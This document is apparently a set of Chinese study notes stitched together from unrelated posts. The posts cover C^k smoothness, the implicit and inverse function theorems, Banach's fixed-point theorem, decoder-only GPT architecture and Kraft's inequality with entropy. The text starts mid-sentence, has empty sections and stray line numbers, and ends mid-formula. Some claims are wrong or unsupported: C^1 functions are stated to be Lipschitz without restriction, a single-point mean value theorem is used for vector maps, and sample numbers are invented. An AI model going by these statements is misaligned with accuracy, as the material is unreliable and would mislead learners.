因为矩阵 的所有特征值都非零，所以该矩阵必然是可逆的。

证明完毕。

1.1 基本定义

• C^0：连续函数
• C^1：一阶连续可导（导函数存在且连续）
• C^k：k阶连续可导（k阶导数存在且连续）
• C^∞：无限可微/光滑函数

1.2 关键insight

仅仅”可导”不等于”C^1”！导函数必须连续才能称为C^1。

经典反例：

$ f(x) = \begin{cases}
x^2\sin(1/x), & x \neq 0 \
0, & x = 0
\end{cases} $

此函数处处可导，但导函数在x=0处不连续：

• $ f’(0) = 0 $（用定义计算）
• $ f’(x) = 2x\sin(1/x) - \cos(1/x) $ 当 $ x \neq 0 $
• $ \lim_{x \to 0} f’(x) $ 不存在（因为$ \cos(1/x) $振荡）

2. 连续性的层次结构

从强到弱的连续性概念：

1

C^∞ ⊂ C^k ⊂ ... ⊂ C^1 ⊂ Lipschitz连续 ⊂ 一致连续 ⊂ 连续

2.1 Lipschitz连续

定义：存在常数L使得 $ |f(x) - f(y)| \leq L|x - y| $

几何意义：函数变化率有界（斜率不超过L）

与C^1的关系：

• 闭区间上的C^1函数必是Lipschitz连续
• Lipschitz连续不一定C^1（如 $ |x| $）

为什么导函数的连续性如此重要？

让我通过具体例子来展示导函数不连续会导致的各种问题。

1. 链式法则失效的风险

考虑两个函数的复合：

例子1：设

$ g(x) = \begin{cases}
x^2\sin(1/x), & x \neq 0 \
0, & x = 0
\end{cases} $

$ h(y) = y $

理论上，$ (h \circ g)’(0) $ 应该等于 $ h’(g(0)) \cdot g’(0) = 1 \cdot 0 = 0 $，但如果你在计算机上用有限差分等数值方法近似计算$ g’(0) $，会得到各种乱七八糟的值，而不是理论上的0。

2. 微分中值定理的应用受限

例子2：考虑函数

$ f(x) = \begin{cases}
x + 2x^2\sin(1/x), & x \neq 0 \
0, & x = 0
\end{cases} $

其导数为：

$ f’(x) = \begin{cases}
1 + 4x\sin(1/x) - 2\cos(1/x), & x \neq 0 \
1, & x = 0
\end{cases} $

问题场景：估计 $ f(0.01) - f(0) $

• 理论上：存在 $ \xi \in (0, 0.01) $ 使得 $ f(0.01) - f(0) = f’(\xi) \cdot 0.01 $
• 实际上：由于 $ f’(x) $ 在 $ x=0 $ 附近剧烈振荡（在 $ [-1, 3] $ 之间），我们无法给出稳定的估计

1
2
3
4
5
6
7

假设我们要估计 f(h) - f(0)：

h = 0.01:    可能 f'(ξ) ≈ -0.8,  估计值 ≈ -0.008
h = 0.0099:  可能 f'(ξ) ≈ 2.5,   估计值 ≈ 0.02475  
h = 0.0101:  可能 f'(ξ) ≈ 0.3,   估计值 ≈ 0.00303

三个几乎相同的h值，估计结果差异巨大！

3. 数值方法的不稳定性

例子3：用牛顿法求解方程 $ f(x) = 0 $

考虑函数：

$ f(x) = \begin{cases}
x + x^2\sin(1/x), & x \neq 0 \
0, & x = 0
\end{cases} $

牛顿迭代：$ x_{n+1} = x_n - \frac{f(x_n)}{f’(x_n)} $

问题：

• 当 $ x_n $ 接近0时，$ f’(x_n) $ 可能接近 $ \cos(1/x_n) $ 的某个值
• 如果 $ \cos(1/x_n) \approx 0 $，迭代会变得极不稳定
• 导函数的不连续导致收敛性无法保证

4. 泰勒展开的失效

例子4：考虑在 $ x=0 $ 附近展开

对于C^1函数，我们期望：

$ f(h) = f(0) + f’(0)h + o(h) $

但如果 $ f’ $ 不连续，余项 $ o(h) $ 的行为会很糟糕。

具体例子：

$ g(x) = \begin{cases}
x^2(2 + \sin(1/x)), & x \neq 0 \
0, & x = 0
\end{cases} $

虽然 $ g’(0) = 0 $，但：

• 一阶泰勒展开：$ g(h) \approx 0 $
• 实际值：$ g(h) = h^2(2 + \sin(1/h)) $ 在 $ [h^2, 3h^2] $ 之间振荡
• 相对误差可达300%！

因为函数导数在0点附近不连续，这样导致泰勒展开的“小量”项（理论上应属于 $ o(h) $的项）实际上主导了近似误差。

5. 优化算法的收敛性问题

例子5：梯度下降法

考虑目标函数：

$ f(x) = x^2 + \begin{cases}
x^3\sin(1/x), & x \neq 0 \
0, & x = 0
\end{cases} $

梯度下降：$ x_{n+1} = x_n - \alpha f’(x_n) $

问题：

• 在 $ x=0 $ 附近，梯度会突然变化
• 步长 $ \alpha $ 很难选择
• 算法可能在最优点附近振荡而不收敛

6. 积分相关的问题

微积分基本定理的应用

如果 $ f \in C^1[a,b] $，则：

$ \int_a^b f’(x)dx = f(b) - f(a) $

但如果 $ f’ $ 不连续，这个公式可能需要更仔细的处理（如广义积分）。

没有这个性质，我们失去了：

• 可靠的线性近似
• 稳定的数值方法
• 收敛的迭代算法
• 有效的误差估计

4. 典型例子

5. 实用判断准则

5.1 检查C^1

1. 计算导函数
2. 检查导函数的连续性（特别是分段点）

5.2 检查Lipschitz

1. 若f∈C^1[a,b]，则自动Lipschitz连续
2. 否则直接验证定义或检查导数是否有界

6. 应用场景

• C^1：大多数优化算法的基本要求
• C^2：牛顿法、曲率分析
• Lipschitz：不动点定理、ODE解的存在性
• C^∞：泰勒级数、解析延拓

7. 关键要点

1. C^k严格强于k次可导：需要k阶导数连续
2. Lipschitz是C^1的推广：放松了可导性要求
3. 光滑性层次：越光滑，性质越好，但要求越严格
4. 实际应用：根据问题需求选择合适的光滑性假设

记住：数学中的”光滑”不是模糊概念，而是有精确的层次结构！

隐函数定理的陈述

首先，让我们明确隐函数定理要说什么：

隐函数定理：设 $ F: \mathbb{R}^{n+m} \to \mathbb{R}^m $ 是 $ C^1 $ 函数，点 $ (a,b) \in \mathbb{R}^n \times \mathbb{R}^m $ 满足：

1. $ F(a,b) = 0 $
2. $ \frac{\partial F}{\partial y}(a,b) $ 是可逆的 $ m \times m $ 矩阵

则存在 $ a $ 的邻域 $ U $ 和 $ b $ 的邻域 $ V $，以及 $ C^1 $ 函数 $ g: U \to V $，使得：

• $ g(a) = b $
• 对所有 $ x \in U $，有 $ F(x, g(x)) = 0 $

从反函数定理推导隐函数定理

步骤 1：构造辅助函数

定义函数 $ G: \mathbb{R}^{n+m} \to \mathbb{R}^{n+m} $：

$ G(x,y) = (x, F(x,y)) $

其中 $ x \in \mathbb{R}^n $，$ y \in \mathbb{R}^m $。

步骤 2：计算雅可比矩阵

$ G $ 的雅可比矩阵是：

$ DG(x,y) = \begin{pmatrix}
I_n & 0 \\
\frac{\partial F}{\partial x} & \frac{\partial F}{\partial y}
\end{pmatrix} $

其中 $ I_n $ 是 $ n \times n $ 单位矩阵。

附录里面的给出这一步的详细推导。

步骤 3：验证雅可比矩阵可逆

在点 $ (a,b) $ 处，由于 $ \frac{\partial F}{\partial y}(a,b) $ 可逆，我们可以计算：

$ \det(DG(a,b)) = \det(I_n) \cdot \det\left(\frac{\partial F}{\partial y}(a,b)\right) \neq 0 $

因此 $ DG(a,b) $ 是可逆的。

步骤 4：应用反函数定理

由反函数定理，存在 $ (a,b) $ 的邻域 $ W $ 和 $ G(a,b) = (a,0) $ 的邻域 $ W’ $，使得 $ G: W \to W’ $ 有 $ C^1 $ 逆函数 $ G^{-1} $。

步骤 5：构造隐函数

设 $ G^{-1}(x,z) = (H_1(x,z), H_2(x,z)) $，其中 $ H_1: W’ \to \mathbb{R}^n $，$ H_2: W’ \to \mathbb{R}^m $。

由于 $ G \circ G^{-1} = \text{原来映射出的值}$，我们有：$ G(H_1(x,z), H_2(x,z)) = (x,z) $

展开得：$ (H_1(x,z), F(H_1(x,z), H_2(x,z))) = (x,z) $

这给出：

1. $ H_1(x,z) = x $
2. $ F(x, H_2(x,z)) = z $

步骤 6：定义隐函数

取 $ z = 0 $，定义 $ g(x) = H_2(x,0) $。

由于 $ G^{-1}(a,0) = (a,b) $，我们有 $ g(a) = H_2(a,0) = b $。

对于 $ x $ 在 $ a $ 的适当邻域内，由步骤5的第二个等式：

$ F(x, g(x)) = F(x, H_2(x,0)) = 0 $

通俗理解整个过程

如果 $G$ 有反函数 $G^{-1}$，那么：

• 给定 $(x, 0)$，$G^{-1}$ 能告诉我们对应的 $(x, y)$
• 这个对应中的$y$ 正好满足$F(x, y) = 0$。

附录：推导DG(x,y)的左上角为什么是单位矩阵

我来详细推导为什么雅可比矩阵 $ DG(x,y) $ 的左上角是单位矩阵 $ I_n $。

回顾函数定义

我们定义了函数 $ G: \mathbb{R}^{n+m} \to \mathbb{R}^{n+m} $：

$ G(x,y) = (x, F(x,y)) $

其中：

• $ x = (x_1, x_2, …, x_n) \in \mathbb{R}^n $
• $ y = (y_1, y_2, …, y_m) \in \mathbb{R}^m $
• $ F: \mathbb{R}^{n+m} \to \mathbb{R}^m $

分解 $ G $ 的分量

我们可以将 $ G $ 写成分量形式：

$ G(x,y) = \begin{pmatrix}
g_1(x,y) \\
g_2(x,y) \\
\vdots \\
g_n(x,y) \\
g_{n+1}(x,y) \\
\vdots \\
g_{n+m}(x,y)
\end{pmatrix} = \begin{pmatrix}
x_1 \\
x_2 \\
\vdots \\
x_n \\
F_1(x,y) \\
\vdots \\
F_m(x,y)
\end{pmatrix} $

计算雅可比矩阵的元素

雅可比矩阵 $ DG(x,y) $ 的第 $ (i,j) $ 元素是 $ \frac{\partial g_i}{\partial x_j} $ 或 $ \frac{\partial g_i}{\partial y_k} $。

对于前 $ n $ 行（$ i = 1, 2, …, n $）：

由于 $ g_i(x,y) = x_i $，我们有：

• 当 $ j \leq n $ 时：$ \frac{\partial g_i}{\partial x_j} = \frac{\partial x_i}{\partial x_j} = \begin{cases} 1 & \text{如果 } i = j \ 0 & \text{如果 } i \neq j \end{cases} $
• 当 $ j > n $ 时（即对 $ y_k $ 求导）：$ \frac{\partial g_i}{\partial y_k} = \frac{\partial x_i}{\partial y_k} = 0 $

构造雅可比矩阵

因此，雅可比矩阵的形式是：

$ DG(x,y) = \begin{pmatrix}
\frac{\partial x_1}{\partial x_1} & \cdots & \frac{\partial x_1}{\partial x_n} & \frac{\partial x_1}{\partial y_1} & \cdots & \frac{\partial x_1}{\partial y_m} \\
\vdots & \ddots & \vdots & \vdots & \ddots & \vdots \\
\frac{\partial x_n}{\partial x_1} & \cdots & \frac{\partial x_n}{\partial x_n} & \frac{\partial x_n}{\partial y_1} & \cdots & \frac{\partial x_n}{\partial y_m} \\
\frac{\partial F_1}{\partial x_1} & \cdots & \frac{\partial F_1}{\partial x_n} & \frac{\partial F_1}{\partial y_1} & \cdots & \frac{\partial F_1}{\partial y_m} \\
\vdots & \ddots & \vdots & \vdots & \ddots & \vdots \\
\frac{\partial F_m}{\partial x_1} & \cdots & \frac{\partial F_m}{\partial x_n} & \frac{\partial F_m}{\partial y_1} & \cdots & \frac{\partial F_m}{\partial y_m}
\end{pmatrix} $

代入我们计算的值：

$ DG(x,y) = \begin{pmatrix}
1 & 0 & \cdots & 0 & 0 & \cdots & 0 \\
0 & 1 & \cdots & 0 & 0 & \cdots & 0 \\
\vdots & \vdots & \ddots & \vdots & \vdots & \ddots & \vdots \\
0 & 0 & \cdots & 1 & 0 & \cdots & 0 \\
\frac{\partial F_1}{\partial x_1} & \cdots & \frac{\partial F_1}{\partial x_n} & \frac{\partial F_1}{\partial y_1} & \cdots & \frac{\partial F_1}{\partial y_m} \\
\vdots & \ddots & \vdots & \vdots & \ddots & \vdots \\
\frac{\partial F_m}{\partial x_1} & \cdots & \frac{\partial F_m}{\partial x_n} & \frac{\partial F_m}{\partial y_1} & \cdots & \frac{\partial F_m}{\partial y_m}
\end{pmatrix} $

这就是为什么左上角是 $ n \times n $ 单位矩阵 $ I_n $，右上角是 $ n \times m $ 零矩阵。

事情的起因是我和朋友争论GPT模型到底有没有encoder。他认为GPT或类似的模型其实有一个很小的encoder，并且encoder和decoder之间会有cross attention。而我的观点则是GPT只有decoder部分，没有encoder。

于是有了这篇论文考古。

GPT

论文链接：https://cdn.openai.com/research-covers/language-unsupervised/language\_understanding\_paper.pdf

GPT 1.0

GPT1.0分为训练和微调

训练

微调

训练就是纯预测（优化一个目标函数），微调是同时做预测和分类（作者发现这样泛化性更好），优化目标为一组目标函数的和。

架构图可以到，就是只用了解码器，没有用编码器。

论文中谈及架构的时候提到了引用34和62。说他们使用的decoder是来自transformer的一个变体。

GENERATING WIKIPEDIA BY SUMMARIZING LONG
SEQUENCES

Attention is all you need.

34的文章提出了一个decoder-only的架构，用来生成像维基百科一样的文章，作者认为用decoder-only能够关注更长的序列，这比常见的在序列转换任务中使用的编码器—解码器架构所能处理的序列要长得多。在引言部分和模型示例图可以看到他们模型只包含deocder.

作者仅以不做了实验发现，比起encoder-decoder架构，decoder-only能微量提点，但是能处理的长度显著增加。

那么原来做cross attention那一层去哪里了？

在GPT1.0和它引用的论文里面是直接删掉了。只有masked multi-head
attention

GPT 2.0

那在GPT2.0, 3.0用了吗？

Language Models are Unsupervised Multitask Learners

https://cdn.openai.com/better-language-models/language\_models\_are\_unsupervised\_multitask\_learners.pdf

GPT2.0在模型描述里面提到只在GPT1.0上做了微小改动，如果加了encoder应该属于模型大变化，应该会提到。

从源码里面看就是decoder-only
https://github.com/openai/gpt-2/blob/master/src/model.py

GPT 3.0

Language Models are Few-Shot Learners

https://arxiv.org/pdf/2005.14165

提到架构和GPT2.0一样

GPT 4.0

CloseAI的技术报告没有提模型细节，一种比较可靠的说法是他们要做多模态所以引入的ViT或者clip之类的技术理解媒体文件。但是这里我猜应该是只是做完embedding和文字的embedding一起输入，不能算是有”cross-attention”的encoder。

Decoder only有什么好处？

这里借用知乎这里的讨论
重新梳理一下。

注意力机制的数学特性（苏剑林观点）

核心观点：双向注意力容易退化为低秩，而因果注意力必然满秩。

详细解释与例子：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

双向注意力示例
句子："我爱北京天安门"
双向注意力矩阵（简化示例）
[
[0.2, 0.2, 0.2, 0.2, 0.2], "我"看所有词
[0.2, 0.2, 0.2, 0.2, 0.2], "爱"看所有词
[0.2, 0.2, 0.2, 0.2, 0.2], "北京"看所有词
[0.2, 0.2, 0.2, 0.2, 0.2], "天安"看所有词
[0.2, 0.2, 0.2, 0.2, 0.2], "门"看所有词
]
容易退化为低秩：所有行向量相似
因果注意力示例（decoder-only）
[
[1.0, 0, 0, 0, 0], "我"只看自己
[0.5, 0.5, 0, 0, 0], "爱"看"我"和自己
[0.3, 0.3, 0.4, 0, 0], "北京"看前面的词
[0.2, 0.2, 0.3, 0.3, 0], "天安"看前面的词
[0.2, 0.2, 0.2, 0.2, 0.2], "门"看所有前面的词
]
下三角矩阵，必然满秩，表达能力更强

如果注意力矩阵变成低秩，相当于模型”眼里看到的东西都一样”，很多不同的位置/内容其实被糊成了一坨，没法细致地区分信息。

预测任务难度与泛化能力（@yili观点）

核心观点：更难的预测任务促使模型学习更好的通用表征。

具体例子：

预测"北京"这个词时：

Encoder-Decoder：可以看到完整句子"我爱[MASK]天安门"，从两边获取信息

Decoder-Only：只能看到"我爱"，必须从更少的信息中推断

这种"信息饥渴"迫使模型：

学习更强的语言模型能力

更好地理解词序和语法结构

形成更通用的表征

上下文学习的天然优势（@mimimumu观点）

核心观点：Decoder-only架构让prompt能直接作用于每一层。

Few-shot学习示例：

1
2
3
4
5
6
7

输入你给出的格式去掉多余斜线，改成：

问：什么是机器学习？
答：机器学习是让计算机从数据中学习的技术。

问：什么是深度学习？
答：[模型生成]

在Decoder-only中：

每个token的表示逐层构建时，都能直接参考前面的示例

Prompt信息像"隐式微调"一样影响每一层的计算

而Encoder-Decoder需要先编码完整输入，再解码，信息传递路径更长。

隐式位置编码特性

核心观点：因果注意力天然具有位置敏感性。

对比例子：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

没有位置编码的双向注意力
"我爱你" 和 "你爱我" 可能产生相似的表示

因果注意力（即使没有显式位置编码）
"我爱你"：

"我"：只看自己
"爱"：看"我"+"爱"
"你"：看"我"+"爱"+"你"
"你爱我"：

"你"：只看自己
"爱"：看"你"+"爱"
"我"：看"你"+"爱"+"我"
表示完全不同，天然区分语序

KV-Cache复用机制

1
2
3
4
5
6
7
8
9
10
11
12

第一轮
用户："介绍一下北京"
模型：生成回答，缓存所有KV

第二轮
用户："它的人口有多少？"

Decoder-only：直接复用第一轮的KV-Cache
只需计算新输入的KV，效率极高

Encoder-Decoder：需要重新编码整个上下文
因为encoder看到的是完整输入，任何改变都需要重新计算

1. 前缀码与前缀自由码

• 前缀码：没有一个码字是另一个码字的前缀。例如霍夫曼码。
• 重要性：前缀码满足即时唯一可译性（译码时不会二义并且即时解码AA）。

2. Kraft不等式

Kraft不等式是信息论中关于前缀编码（或者说前缀码树/二叉树）的一个重要结论。它说明任意一组前缀码的码长 $ l_1, l_2, \ldots, l_n $ 必须满足

$ \sum_{i=1}^n 2^{-l_i} \leq 1 $

反之，只有满足这个不等式才有可能存在对应的前缀码。

Kraft不等式证明

必要性（任何前缀码的一组码长都满足Kraft不等式）：

设$ D $为二叉树，每个码字可表示为树的一条路径。

• 码长为 $ l_k $ 的码字在树的第 $ l_k $ 层，是一个叶子。
• 每一层最多有 $ 2^{l_k} $ 个节点，叶子节点互不重叠。
• 所有码字实际占用的叶子数之和

$ \sum_{i=1}^n 2^{L-l_i} $

其中 $ L $ 为所有码长的最大值。

• 总叶子数为 $ 2^L $
• 所以有：$ \sum_{i=1}^n 2^{L-l_i} \leq 2^L \implies \sum_{i=1}^n 2^{-l_i} \leq 1 $

补充：什么叫码字实际占用的叶子数之和？

_假设我们最大码长是 _$ L $_，再看一个码字长度是 _$ l $。

• 一个长度为 $ l $ 的码字，从根到它走了 $ l $ 步。
• _如果继续从它往下走，走满长度 _$ L $，还能走 $ (L-l) $ 步。
• 每多一步可分岔两路，$ (L-l) $_ 步一共可以分成 $ 2^{L-l} $ 个不同的终点（叶子）。_
• 所以长度为 $ l $ 的码字，等价于在最大深度 $ L $ 处“占用”了 $ 2^{L-l} $ 个叶子。

充分性（只要码长满足Kraft不等式，就能构造前缀码）：

• 将所有 $ l_i $ 从小到大排序。
• 从编码树顶部出发，依次分配以 $ l_i $ 为长度的唯一路径（即叶子结点）；因Kraft不等式成立，子树不会重叠，必能分配完全部码字且不会出现有一个码字是其他码字前缀的情况。
• 具体可采用“字典树”方式依次分配。

3. 信息熵（Shannon Entropy）

对离散信源$ X $（概率分布为 $ {p_1, p_2, …, p_n} $）：

• $ H(X) = -\sum_{i=1}^n p_i \log_2 p_i $
• 这个数是用拉个朗日乘数法得到的，可以参考下面 “最优编码定理”。
• 熵是最优平均编码长度的下界。

4. 最优编码定理

这里摘要这个视频里面的证明：https://www.bilibili.com/video/BV1sV411k7qc/
平均码长的最小值为熵或近似熵（$ \lceil l_i \rceil $ 情况下高于熵但不会超过1bit）：

• $ H(X) \leq L^* < H(X) + 1 $

假设我们要对一个文章中的字母用前缀码进行编码，那么如何让整个文章的编码最短的问题就转换为使得下图的中的E(L)变得最小。

目标函数有了，优化的约束就是Kraft不等式（满足前缀码的充要条件）。

这里选择用拉格朗日乘数法来求解，但是拉格朗日乘数法只适合解等式不能解不等式。所以先考虑等式的情况。

$l_i = - \log_2 p_i$，这里的$l_i$就是每个字母对应的码长了。因为码长不能是小数，所以要进行上取整。

• 相关推导正是“在Kraft约束下极小化码长”——见“熵的最优性推导”小节。

5. 交叉熵与KL散度

• 交叉熵 $ H(P, Q) $：用$ Q $分布编码真实分布$ P $的信息平均长度：

$ H(P, Q) = -\sum_x p(x) \log q(x) $

• KL散度（相对熵）：

$ D_{KL}(P | Q) = \sum_x p(x) \log \frac{p(x)}{q(x)} = H(P, Q) - H(P) $

• 表示用$ Q $代替$ P $时的“额外码长”。

二、各部分逻辑关系

1. Kraft不等式 —— 判断前缀码能否存在及如何分配码长；
2. 最优编码定理 —— 满足Kraft不等式的最优平均编码长度的理论极限；
3. 信息熵 —— 度量信源不确定性，也限制度量最优编码效率；
4. 交叉熵/相对熵 (KL散度) —— 两个概率分布编码效率的度量，机器学习损失函数常用。

简要表格

参考

https://www.bilibili.com/video/BV1sV411k7qc/

单射，满射，双射

• 单射：每个输入值有唯一的输出值，不会有两个不同的输入映射到同一个输出。
• 满射：每个输出值都至少有一个输入值与之对应。
• 双射：既是单射又是满射，即每个输入值有唯一的输出值，且每个输出值都有唯一的输入值。

雅可比矩阵 (Jacobian Matrix)

雅可比矩阵是描述多元函数在某一点处的局部线性近似的矩阵形式，具体定义见前文。

预备知识 - 完备度量空间

1.1 度量空间的基本定义

一个度量空间是一个集合 $S$ 配备了一个“度量函数” $d: S \times S \to \mathbb{R}$，它满足以下性质（即定义“距离”的规则）：

1. 非负性：
   $$
   d(x, y) \geq 0, \quad \text{且当且仅当 } x = y, \ d(x, y) = 0;
   $$
2. 对称性：
   $$
   d(x, y) = d(y, x);
   $$
3. 三角不等式：对任意 $x, y, z \in S$，有
   $$
   d(x, z) \leq d(x, y) + d(y, z).
   $$
   度量 $d(x, y)$ 定义了集合 $S$ 中任意两点之间的距离，使 $S$ 成为一个度量空间。

1.2 完备性：柯西序列的收敛性

一个度量空间 $(S, d)$ 是完备的，当且仅当空间内的每个柯西序列都收敛于 $S$ 中的一个点。

什么是柯西序列？

一个序列 ${x_n} \subseteq S$ 是一个柯西序列，如果它满足以下条件：

• 对于任意的 $\varepsilon > 0$，存在一个整数 $N > 0$，使得当 $m, n \geq N$ 时，$$d(x_m, x_n) < \varepsilon.$$

简单来说，在柯西序列中，序列的元素在这个空间中变得越来越“接近彼此”。例如：

• 如果序列越来越“集中”到一个点附近，就是柯西序列（无论这个点是否是空间内部的点）。
• 注意：柯西序列的定义不要求你事先知道收敛点，仅要求元素之间的距离无限趋近于零。

示例

• 正例：序列 $x_n = 1 + \frac{1}{n}$ 是一个柯西序列。
• 反例：对于非完备的空间（例如 $\mathbb{Q}$ 上），可能存在柯西序列无法收敛到 $\mathbb{Q}$ 内的一个点。例如，序列 $x_n = 1, 1.4, 1.414, 1.4142, \dots$ 收敛到 $\sqrt{2}$，但 $\sqrt{2} \notin \mathbb{Q}$。这说明 $\mathbb{Q}$ 不完备。

1.3 完备性的意义

• 在一个完备度量空间中，任何柯西序列一定会收敛，并且其极限点一定在空间 $S$ 内。
• 如果一个空间不是完备的，则可能存在柯西序列，其极限点落在 $S$ 外部（即序列离开了原来的空间）。

预备知识 - Banach 不动点定理

定理陈述

设 $(X, d)$ 是一个完备度量空间，$T: X \to X$ 是一个压缩映射，即存在常数 $0 \leq k < 1$，使得对于任意 $x, y \in X$，有：
$$
d(T(x), T(y)) \leq k \cdot d(x, y).
$$
那么，$T$ 在 $X$ 中存在唯一的不动点 $x^*$，即 $T(x^*)=x^*$。

符号解释

1. $X$：一个集合，表示度量空间中的元素。
2. $d$：度量函数，表示 $X$ 中两个元素之间的距离，满足非负性、对称性和三角不等式。
3. 完备度量空间：度量空间 $(X, d)$ 是完备的，如果其中的所有柯西序列都收敛于 $X$ 中的某个点。
4. $T$：映射（函数），将 $X$ 中的元素映射到 $X$ 中的另一个元素。
5. 压缩映射：映射 $T$ 是压缩的，如果存在常数 $0 \leq k < 1$，使得 $T$ 将任意两点之间的距离缩小至少 $k$ 倍。
6. 不动点：点 $x^*$ 是 $T$ 的不动点，如果 $T(x^*) = x^*$。

证明

1. 构造序列：

从任意一点 $x_0 \in X$ 开始，构造序列 ${x_n}$，其中：
$$
x_{n+1} = T(x_n),
$$
即每次将当前点通过映射 $T$ 映射到下一个点。

2. 证明序列是柯西序列：

对于任意 $n, m \in \mathbb{N}$（假设 $n > m$），有：
$$
d(x_n, x_m) \leq d(x_n, x_{n-1}) + d(x_{n-1}, x_{n-2}) + \dots + d(x_{m+1}, x_m).
$$
由于 $T$ 是压缩映射，有：
$$
d(x_{i+1}, x_i) = d(T(x_i), T(x_{i-1})) \leq k \cdot d(x_i, x_{i-1}).
$$
递推可得：
$$
d(x_{i+1}, x_i) \leq k^i \cdot d(x_1, x_0).
$$
由于 $0 \leq k < 1$，最终 $d(x_n, x_m)$ 收敛到 0，故 ${x_n}$ 是柯西序列。

3. 完备性保证极限存在：

因为 $X$ 是完备的，柯西序列 ${x_n}$ 收敛于某个点 $x^* \in X$。注意，定理条件中给出了 $T$ 是 $X$ 到 $X$ 的映射。

4. 证明 $x^*$ 是不动点：

由于 $T$ 是连续的（压缩映射是连续的），有：
$$
T(x^*) = T\left(\lim_{n \to \infty} x_n\right) = \lim_{n \to \infty} T(x_n) = \lim_{n \to \infty} x_{n+1} = x^*.
$$
因此，$x^*$ 是 $T$ 的不动点。

5. 唯一性：

假设存在另一个不动点 $y^*$，即 $T(y^*) = y^*$，则：
$$
d(x^*, y^*) = d(T(x^*), T(y^*)) \leq k \cdot d(x^*, y^*).
$$
由于 $0 \leq k < 1$，只有当 $d(x^*, y^*) = 0$ 时成立，即 $x^* = y^*$。因此，不动点唯一。

总结

• Banach 不动点定理表明，在完备度量空间中，压缩映射存在唯一的不动点。
• 证明的关键是通过构造序列并利用压缩映射的性质证明序列收敛，然后验证极限点是不动点。
• 该定理在数值分析、微分方程和优化等领域有广泛应用。

逆函数定理的证明

定理内容

给定一个连续可微函数 $f: \mathbb{R}^n \to \mathbb{R}^n$，若在某一点 $x_0 \in \mathbb{R}^n$，该函数的雅可比矩阵 $J_f(x_0)$ 是满秩的（即 $\det(J_f(x_0)) \neq 0$，雅可比矩阵可逆），那么可以得出以下结论：

1. 局部可逆性：
   在点 $x_0$ 的某个小邻域内，$f$ 是双射（即每个点都有唯一的像，并且每个像值对应唯一的原点），即 $f$ 在该邻域内有逆函数 $f^{-1}$。
2. 逆函数的性质：
   逆函数 $f^{-1}$ 也是连续可微的（$C^1$），并且其导数由雅可比矩阵的逆给出：
   $$
   J_{f^{-1}}(f(x)) = [J_f(x)]^{-1},
   $$
   对于 $x$ 在邻域内。

总结来说，如果 $J_f(x_0)$ 是可逆的，则 $f$ 在 $x_0$ 的邻域内具有光滑的逆函数。

注：

• 其实当时学到这里是有一个疑问，不知道为什么需要前面预备知识的铺垫。因为雅可比矩阵可逆，不就已经说明了是有逆函数的，还需要证明吗？

• 但雅可比矩阵是泰勒公式的一阶展开，“一阶可逆”只能保证在无穷小邻域接近可逆，但是逆函数定理说的局部，并不是指无穷小（infinitesimal）邻域；而是“存在某个非零半径的开邻域”，通常记为 $U$。在这个$U$里，$f$关于 $x0$ 是双射（即一一对应），并且逆函数还是光滑/连续可微的。

• 换句话说这里是在高阶项的扰动不会”压倒”线性项：在足够小但是非无穷小邻域接近可逆的范围内，线性项占主导。（线性部分 + 小扰动 = 整体可逆）

直观思路

逆函数 $f^{-1}$ 的基本定义是：给定 $y \in \mathbb{R}^n$，我们需要找到唯一的 $x \in \mathbb{R}^n$，使得 $f(x) = y$。
若 $f$ 在某点 $x_0$ 处是可逆的（即雅可比矩阵 $J_f(x_0)$ 可逆），可以通过近似线性化的方法（泰勒展开），证明每一个 $y$ 都有一个唯一解 $x$ 使 $f(x) = y$，而这个解可以通过压缩映射定理来找到。

详细证明

（1）定义辅助映射：

设 $y \in \mathbb{R}^n$ 是任意的目标值，并且我们希望找到 $x \in \mathbb{R}^n$，使得 $f(x) = y$。令：
$$
T(x) = x - J_f(x_0)^{-1} \cdot (f(x) - y),
$$
其中 $J_f(x_0)$ 是 $f$ 在点 $x_0$ 的雅可比矩阵。

需要证明：

1. 映射 $T(x)$ 是一个压缩映射；
2. 压缩映射 $T(x)$ 的不动点 $x^*$ 满足 $f(x^*) = y$。

（2）泰勒展开（局部线性化）：

由 $f(x)$ 在点 $x_0$ 的泰勒展开（在一阶导数处截断）：
$$
f(x) \approx f(x_0) + J_f(x_0) \cdot (x - x_0).
$$
令 $\Delta x = x - x_0$，有：
$$
f(x) \approx f(x_0) + J_f(x_0) \cdot \Delta x.
$$
设 $y = f(x)$，可以通过线性化近似得到：
$$
x \approx x_0 + J_f(x_0)^{-1} \cdot (y - f(x_0)).
$$
这表明，对于充分小的扰动 $y - f(x_0)$，可以从初始点 $x_0$ 通过迭代来逐步接近解。

注：已知$y$找到对应$x$，通过迭代来求解。这里核心是要正明迭代可以收敛，于是下面构造压缩映射。

（3）设计压缩映射：

选定 $x_0$ 邻域内的点 $x$ 和目标值 $y$，定义迭代映射：
$$
T(x) = x - J_f(x_0)^{-1} \cdot (f(x) - y).
$$
我们需要证明 $T(x)$ 是压缩映射。注意到：
$$
T(x) - T(z) = x - z - J_f(x_0)^{-1} \cdot (f(x) - f(z)).
$$
利用 $f(x)$ 的连续可微性，有：
$$
f(x) - f(z) = J_f( c ) \cdot (x - z),
$$
注：拉格朗日中值定理，$c$是拉格朗日中值。
其中 $J_f(c)$ 是某个点 $c \in \mathbb{R}^n$ 的雅可比矩阵。代入得到：
$$
T(x) - T(z) = (I - J_f(x_0)^{-1} \cdot J_f( c )) \cdot (x - z).
$$
若 $J_f(x_0)$ 足够接近于 $J_f( c )$（在 $x_0$ 的邻域内），矩阵 $I - J_f(x_0)^{-1} J_f( c )$ 的范数小于 1，因此 $T$ 是压缩映射。

（4）应用压缩映射定理：

根据压缩映射定理，$T(x)$ 有唯一的不动点 $x^*$。对于该不动点，有：
$$
T(x^*) = x^* \implies x^* - J_f(x_0)^{-1} \cdot (f(x^*) - y) = x^*,
$$
化简得到：
$$
f(x^*) = y.
$$
因此，$x^*$ 是方程 $f(x) = y$ 的唯一解。

（5）局部可逆性与光滑性：

上述过程说明 $f$ 在 $x_0$ 的某邻域是局部可逆的，并且 $f^{-1}$ 是由连续迭代构造的，因此它是光滑（$C^1$）的。

雅可比矩阵是描述多元函数在某一点处的局部线性近似（即全导数）的矩阵形式。它是多变量微积分中非常重要的概念，用于研究函数的变化率、方向导数以及映射的局部特性。

一般定义：
设 $ f: \mathbb{R}^n \to \mathbb{R}^m $ 是从 $ \mathbb{R}^n $ 映射到 $ \mathbb{R}^m $ 的一个函数：

$ f(x_1, x_2, \dots, x_n) = \begin{bmatrix}
f_1(x_1, x_2, \dots, x_n) \\
